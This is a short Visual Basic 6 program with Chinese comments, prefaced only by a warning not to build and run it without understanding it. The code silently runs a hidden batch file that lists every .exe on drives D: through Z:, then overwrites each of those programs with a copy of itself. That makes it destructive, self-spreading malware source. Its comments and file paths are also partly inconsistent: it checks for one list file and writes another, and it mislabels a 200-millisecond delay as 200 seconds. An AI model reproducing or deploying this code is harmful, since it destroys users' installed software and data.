'-----------------------------------------------聲明---------------------------------------------------------------
'如果您在沒有讀懂代碼的情況下請不要生成exe文件運行.............否則不要怪我沒提醒你。。。。。。。
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next '容錯句
If Dir("c:\123.txt") = "" Then '如果123.txt不存在則創建 bat遍歷exe文件
Open "c:\a.bat" For Output As #1 '打開bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '寫入數據
Close #1 '關閉文件
Sleep 200 '延時200秒等待文件生成（主要為了慢機器）
Shell "c:\a.bat", 0 '隱藏運行之
End If
Sleep 60000 '延時1分鐘等待exe遍歷完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 '讀取txt裡面的內容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt裡面的內容替換掉
Next
End Sub